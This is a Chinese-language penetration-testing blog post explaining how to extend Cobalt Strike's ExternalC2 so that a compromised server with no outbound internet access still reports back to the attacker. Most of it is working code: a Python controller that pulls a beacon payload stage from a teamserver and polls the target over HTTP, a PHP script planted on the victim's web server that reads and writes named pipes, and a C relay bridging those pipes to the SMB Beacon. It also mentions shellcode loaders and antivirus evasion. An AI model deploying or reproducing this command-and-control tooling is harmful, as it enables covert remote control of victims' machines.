【渗透技巧】Cobalt Strike 的 ExternalC2

0x00 前言

Cobalt Strike 的上线问题归结为以下几点:

问题 解决方法
目标存在杀软(被杀) Shellcode 加载器
目标存在杀软(拦截连接) C2 处理
目标机是 Web 映射出网 特殊 C2 处理
隔离网络 出网机器做跳板

本文针对第 3 点进行展开。

0x01 前置知识点

1.1、管道

如果对管道不熟悉的朋友,可以将管道理解为采用消息队列方式操作的文件。为什么说管道是文件呢?因为它的本质是一段系统内核的缓冲区,可以看做是一个伪文件。在我们使用管道时,需要 Create、Open、Read、Write、Close,就和我们操作文件差不多。而又为什么说管道是采用消息队列的方式呢?因为它实际上的数据结构是一个环形队列。不同的线程都可以向里面写,也可以从里面读。写在队列末尾,读就是从队列头部删除。

管道分为两种,匿名管道(pipe)和命名管道(FIFO)。匿名管道用于父子进程通信,而命名管道可以用于任意两个进程通信。

  • 服务端:创建管道 >> 监听 >> 读写 >> 关闭

  • 客户端:打开命令管道,获得句柄 >> 写入数据 >> 等待回复

1.2、SMB Beacon

官网的解释为:SMB Beacon 使用命名管道通过父 Beacon 进行通信,这种点对点通信借助 Beacons 在同一台主机上实现,它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信,因此,命名为 SMB Beacon。 SMB Beacon 默认使用的是:msagent_bb34

以上的说法,其实就是将 Payload 运行(注入)后,创建了自定义命名管道(作服务端),等待连接即可。

0x02 ExternalC2

ExternalC2Cobalt Strike 引入的一种规范(或者框架),黑客可以利用这个功能拓展C2通信渠道,而不局限于默认提供的 HTTP(S)/DNS/SMB 通道。大家可以参考此处下载完整的规范说明。

简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:

  • 第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
  • 第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
  • SMB Beacon:在受害者主机上执行的标准 beacon。

Cobalt Strike 提供的官方文档中(文末有官方文档),我们可以看到如下示意图:

从上图可知,我们的自定义 C2 通道两端分别为第三方 Controller 以及第三方 Client,这两个角色都是我们可以研发以及控制的角色。往下走就是一个 完整的 ExternalC2工作流程

0x03 正常的 ExternalC2 工作流程

一个粗糙的时序图(图中的空虚线是为了排版,无其他意义):

3.1、ExternalC2

我们需要让 Cobalt Strike 启动 ExternalC2。我们可以使用 externalc2_start 函数,传入端口参数即可。一旦 ExternalC2 服务顺利启动并正常运行,我们需要使用自定义的协议进行通信。

  • 启用 externalc2_start 函数,通知 Teamserver 已开启 C2

    1
    externalc2_start("0.0.0.0", 2222);
  • 等待 Controller 连接传输配置信息

  • 生成下发 Payload Stage

  • 接收和下发信息

3.2、Controller

  • 使用 socket 连接 ExternalC2 平台

    1
    2
    _socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    _socketToExternalC3.connect(("193.10.20.123", 2222))
  • 规范接收与发送的数据格式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    def encodeFormat(data):
    return struct.pack("<I", len(data)) + data

    def decodeFormat(data):
    len = struct.unpack("<I", data[0:3])
    body = data[4:]
    return (len, body)

    def recvFromExternalC2():
    data = ""
    _len = _socketToExternalC3.recv(4)
    l = struct.unpack("<I",_len)[0]
    while len(data) < l:
    data += _socketToExternalC3.recv(l - len(data))
    return data

    def recvFromBeacon():
    data = ""
    _len = _socketToBeacon.recv(4)
    l = struct.unpack("<I",_len)[0]
    while len(data) < l:
    data += _socketToBeacon.recv(l - len(data))
    return data
  • 发送配置选项(x86 or x64 、命名管道名称、间隔时间)

  • 发送 go,通知 ExternalC2 可下发 Payload Stage

    1
    2
    3
    4
    5
    6
    7
    def sendToTS(data):
    _socketToExternalC3.sendall(encodeFormat(data))

    sendToTS("arch=x86")
    sendToTS(“pipename=rcoil")
    sendToTS("block=500")
    sendToTS("go")
  • 接收来自 ExternalC2 所下发的 Payload Stage

    1
    data = recvFromExternalC2()
  • 与此同时,新开启一个 Socket,进行监听,等待接收来自 Client (EXE) 的数据

    1
    2
    3
    4
    _socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    _socketBeacon.bind(("0.0.0.0", 8088))
    _socketBeacon.listen(1)
    _socketClient = _socketBeacon.accept()[0]
  • 在收到 Client (EXE) 的连接后,向 Client (EXE) 发送 Payload Stage

  • ExternalC2 反馈来自 Client (EXE) 的数据

  • 机器上线

  • 进入数据收发循环处理流程

可以参考此处获取完整的 Controller 代码。

3.3、Client (EXE)

  • 同样规范接收与发送的数据格式

  • 连接 Controller,并接收 Payload Stage

  • 将接收到的 Payload Stage 使用常规的进程注入方法注入到进程中
  • SMB Beacon启动并处于运行状态
  • Client (EXE) 连接 SMB Beacon 的命名管道,用于接收或下发命令
  • 进入数据收发循环处理流程

可以参考此处获取完整的 Client (EXE) 代码

0x04 特殊的 C2 配置

以上所配置的 C2,并不能满足我们现在的特殊需求:Web 映射出网环境上线问题 。由于目标机是不出外网的,所以无法实现上面的: Client 主动连接 Controller,进而将 Payload Stage下发,所以可以从上面的流程进行修改,其实修改起来也不难,以下是解决方案:

1
需要在目标机器上面(根据 Web 容器)编写一个对指定的命名管道进行读取和写入的脚本(Client-Web),然后在 Controller 上对此脚本(Client-Web)进行连接(读写操作),将主动变成被动即可解决。

为了省略阅读时长,直接看以下时序图(图中的空虚线是为了排版,无其他意义)。

需要多一个中转设置,我们将这个中转命名为 Client-Web,确保自定义周期能够完成。接下来小节中的代码,如果是应用于实战,建议自写。

4.1、Controller

这一部分与上所述基本一致,只是将挂起的 socket 转为对 Web 的请求,主动去获取数据,再将获取到的数据进行反馈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
// 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/controller/webc3.py
import socket
import struct
import requests
# import random
import time

PAYLOAD_MAX_SIZE = 512 * 1024
BUFFER_MAX_SIZE = 1024 * 1024


def tcpconnect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
return s


def recvdata_unpack(s):
chunk = s.recv(4)
slen = struct.unpack("<I", chunk)[0]
recvdata = s.recv(slen)
print("recvdata_unpack: " + str(slen))
# print(recvdata)
return recvdata


def senddata_pack(s, data):
slen = struct.pack("<I", len(data))
s.sendall(slen+data)
print("senddata_pack: " + str(len(data)))
# print(data)
return


def droppaylod(data):
# filename = random.choice(["a", "b", "c", "d"]) + str(random.randint(1000, 9999)) + ".bin"
filename = "payload.bin"
with open("payload/" + filename, "wb") as fp:
fp.write(data)
return filename


def requestpayload(s, arch, pipename, block):
senddata_pack(s, ("arch=" + arch).encode("utf-8"))
senddata_pack(s, ("pipename=" + pipename).encode("utf-8"))
senddata_pack(s, ("block=" + str(block)).encode("utf-8"))
senddata_pack(s, "go".encode("utf-8"))
#为什么必须这么写,原因需要深究
try:
chunk = s.recv(4)
except:
return ""
if len(chunk) < 4:
return ()
slen = struct.unpack('<I', chunk)[0]
chunk = s.recv(slen)
while len(chunk) < slen:
chunk = chunk + s.recv(slen - len(chunk))
return chunk


def read_http(req, url):
# res = req.get(url + "?action=read",proxies={"http": "http://127.0.0.1:8080"})
res = req.get(url + "?action=read")
print("read from http: " + str(len(res.content)))
# print(res.content)
return res.content


def write_http(req, url, data):
print("write to http: " + str(len(data)))
length = struct.pack("<I", len(data))
data = length + data
# print(data)
# req.post(url + "?action=write", data=data, proxies={"http": "http://127.0.0.1:8080"})
req.post(url + "?action=write", data=data)
return


# 轮询函数
def ctrl_loop(s, req, url):
while True:
data = read_http(req, url)
senddata_pack(s, data)
recvdata = recvdata_unpack(s)
write_http(req, url, recvdata)
#必要的延迟,否则会出错
time.sleep(3)



def main():
# externalc2服务的IP和端口
ip = "193.168.113.137"
port = 2222
soc = tcpconnect(ip, port)

# 请求payload
payloaddata = requestpayload(soc, "x64", "rcoil", 1000)
paylaodfile = droppaylod(payloaddata)

print("paylaod文件名为: " + paylaodfile)
print("请使用loader在被控端执行payload")
r = requests.session()
while True:
url = input("请输入第三方客户端地址:")
res = r.get(url)
if not res.text == 'OK':
print("第三方客户端有问题,请查看。")
else:
break

ctrl_loop(soc, r, url)


if __name__ == '__main__':
main()

4.2、Client–Web

等待 Controller 连接,往下就是对脚本的轮询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/client/php/piperw.php
function readpipe($name){
$name="\\\\.\\pipe\\".$name;
$fp=fopen($name,"rb");
//分两次读
$len=fread($fp,4);
$len=unpack("v",$len)[1];
$data=fread($fp,$len);
fclose($fp);
echo $data;
return $data;
}
function writepipe($name){
$name="\\\\.\\pipe\\".$name;
$fp=fopen($name,"wb");
$data=file_get_contents("php://input");
//一次性写
fwrite($fp,$data);
fclose($fp);
}
if(isset($_GET['action'])){
//根据请求参数进行不同的操作
if ($_GET['action']=='read'){
readpipe("readrcoil");
}elseif ($_GET['action']=='write'){
writepipe("writercoil");
}
}else{
//脚本执行成功
echo "OK";
}

4.3、Client-EXE

这个客户端也相当与一个中转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
// 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/client/c/webc2_loader/PipeOperationRelay/%E6%BA%90.c
#include <Windows.h>
#include <stdio.h>

#define PAYLOAD_MAX_SIZE 512 * 1024
#define BUFFER_MAX_SIZE 1024 * 1024

//桥,字面意思。方便把自定义的管道和beacon管道桥接的结构体
struct BRIDGE
{
HANDLE client;
HANDLE server;
};

//从beacon读取数据
DWORD read_frame(HANDLE my_handle, char* buffer, DWORD max) {

DWORD size = 0, temp = 0, total = 0;
/* read the 4-byte length */
ReadFile(my_handle, (char*)& size, 4, &temp, NULL);
printf("read_frame length: %d\n", size);
/* read the whole thing in */
while (total < size) {
ReadFile(my_handle, buffer + total, size - total, &temp,
NULL);
total += temp;
}
return size;
}

//向beacon写入数据
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
printf("write_frame length: %d\n", length);
DWORD wrote = 0;
WriteFile(my_handle, (void*)& length, 4, &wrote, NULL);
printf("write %d bytes.\n", wrote);
WriteFile(my_handle, buffer, length, &wrote, NULL);
printf("write %d bytes.\n", wrote);
}

//从控制器读取数据
DWORD read_client(HANDLE my_handle, char* buffer) {
DWORD size = 0;
DWORD readed = 0;
ReadFile(my_handle, &size, 4, NULL, NULL);
printf("read_client length: %d\n", size);
ReadFile(my_handle, buffer, size, &readed, NULL);
printf("final data from client: %d\n", readed);
return readed;
}

//向控制器写入数据
void write_client(HANDLE my_handle, char* buffer, DWORD length) {
DWORD wrote = 0;
WriteFile(my_handle, buffer, length, &wrote, NULL);
printf("write client total %d data %d\n", wrote, length);
}

//客户端读管道、服务端写管道逻辑
DWORD WINAPI ReadOnlyPipeProcess(LPVOID lpvParam) {
//把两条管道的句柄取出来
struct BRIDGE* bridge = (struct BRIDGE*)lpvParam;
HANDLE hpipe = bridge->client;
HANDLE beacon = bridge->server;

DWORD length = 0;
char* buffer = VirtualAlloc(0, BUFFER_MAX_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (buffer == NULL)
{
exit(-1);
}
//再次校验管道
if ((hpipe == INVALID_HANDLE_VALUE) || (beacon == INVALID_HANDLE_VALUE))
{
return FALSE;
}
while (TRUE)
{
if (ConnectNamedPipe(hpipe, NULL))
{
printf("client want read.\n");
length = read_frame(beacon, buffer, BUFFER_MAX_SIZE);
printf("read from beacon: %d\n", length);
//分两次传送,发一次长度,再发数据。
write_client(hpipe,(char *) &length, 4);
FlushFileBuffers(hpipe);
write_client(hpipe, buffer, length);
FlushFileBuffers(hpipe);
DisconnectNamedPipe(hpipe);
//清空缓存区
ZeroMemory(buffer, BUFFER_MAX_SIZE);
length = 0;
}

}

return 1;
}

//客户端写管道、服务端读管道逻辑
DWORD WINAPI WriteOnlyPipeProcess(LPVOID lpvParam) {
//取出两条管道
struct BRIDGE* bridge = (struct BRIDGE*)lpvParam;
HANDLE hpipe = bridge->client;
HANDLE beacon = bridge->server;

DWORD length = 0;
char* buffer = VirtualAlloc(0, BUFFER_MAX_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (buffer == NULL)
{
exit(-1);
}
if ((hpipe == INVALID_HANDLE_VALUE) || (beacon == INVALID_HANDLE_VALUE))
{
return FALSE;
}
while (TRUE)
{
if (ConnectNamedPipe(hpipe, NULL))
{
//一次性读,一次性写
printf("client want write.\n");
length = read_client(hpipe, buffer);
printf("read from client: %d\n", length);
write_frame(beacon, buffer, length);
DisconnectNamedPipe(hpipe);
//清空缓存区
ZeroMemory(buffer, BUFFER_MAX_SIZE);
length = 0;
}

}

return 2;
}

int main(int argc, char* argv[]) {

//创建客户端读管道
HANDLE hPipeRead = CreateNamedPipe("\\\\.\\pipe\\readrcoil", PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFFER_MAX_SIZE, BUFFER_MAX_SIZE, 0, NULL);
//创建客户端写管道
HANDLE hPipeWrite = CreateNamedPipe("\\\\.\\pipe\\writercoil", PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFFER_MAX_SIZE, BUFFER_MAX_SIZE, 0, NULL);
//与beacon建立连接
HANDLE hfileServer = CreateFileA("\\\\.\\pipe\\rcoil", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);


//检测管道和连接是否建立成功
if ((hPipeRead == INVALID_HANDLE_VALUE) || (hPipeWrite == INVALID_HANDLE_VALUE) || (hfileServer == INVALID_HANDLE_VALUE))
{
if (hPipeRead == INVALID_HANDLE_VALUE)
{
printf("error during create readpipe.");
}
if (hPipeWrite == INVALID_HANDLE_VALUE)
{
printf("error during create writepipe.");
}
if (hfileServer == INVALID_HANDLE_VALUE)
{
printf("error during connect to beacon.");
}
exit(-1);
}
else
{
//一切正常
printf("all pipes are ok.\n");
}


//放入客户端读管道和beacon连接
struct BRIDGE readbridge;
readbridge.client = hPipeRead;
readbridge.server = hfileServer;
//启动客户端读管道逻辑
HANDLE hTPipeRead = CreateThread(NULL, 0, ReadOnlyPipeProcess, (LPVOID)& readbridge, 0, NULL);

//放入客户端写管道和beacon连接
struct BRIDGE writebridge;
writebridge.client = hPipeWrite;
writebridge.server = hfileServer;
//启动客户端写管道逻辑
HANDLE hTPipeWrite = CreateThread(NULL, 0, WriteOnlyPipeProcess, (LPVOID)& writebridge, 0, NULL);

//代码没有什么意义,直接写个死循环也行
HANDLE waitHandles[] = { hPipeRead,hPipeWrite };
while (TRUE)
{
WaitForMultipleObjects(2, waitHandles, TRUE, INFINITE);
}

return 0;

}

当然,自用的会使用 C# 进行重写。

0x05 实操

5.1、加载脚本

加载 ExternalC2.cna,完成第一步。

5.2、Controller

这里我们使用的代码是参照 XPN 的代码写成与上方 hl0rey 一样格式的代码。

5.3、Client

使用加载器加载这一段 shellcode,查看 pipelist,可以看到我们自定义的管道名。

到这里,可以说明 SMB Beacon 已经成功运行,目前缺少的是可与之进行交互的上层进程。往下继续,运行 Client-EXE(使用hl0rey的代码),再次查看 pipelist,结果如下

5.4、Cobalt Strike

成功上线。

5.5、问题

但是,查看 PipeOption.exe,崩了。同时,Cobalt Strike 上线的机器,心跳包正常,但是功能无法使用。

应该是 PipeOption.exephp 脚本之间出现的问题,通过抓包,发现这里应该是权限问题。

PipeOpiton.exe 以管理员权限运行,action=read 则没出错。

Lz1y 大佬请教了下,还是改改 Client-EXEClient-Web 的代码算了。不使用命名管道,直接读写文件,这样 Client-Web 的不同版本也可以很好写。看到这里是不是很蛋疼,嘤嘤嘤。相关代码后续再补上吧,留个坑!!!

0x06 参考

Exploring Cobalt Strike’s ExternalC2 framework
利用 External C2 解决内网服务器无法出网的问题
一起探索Cobalt Strike的ExternalC2框架
externalc2spec.pdf

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!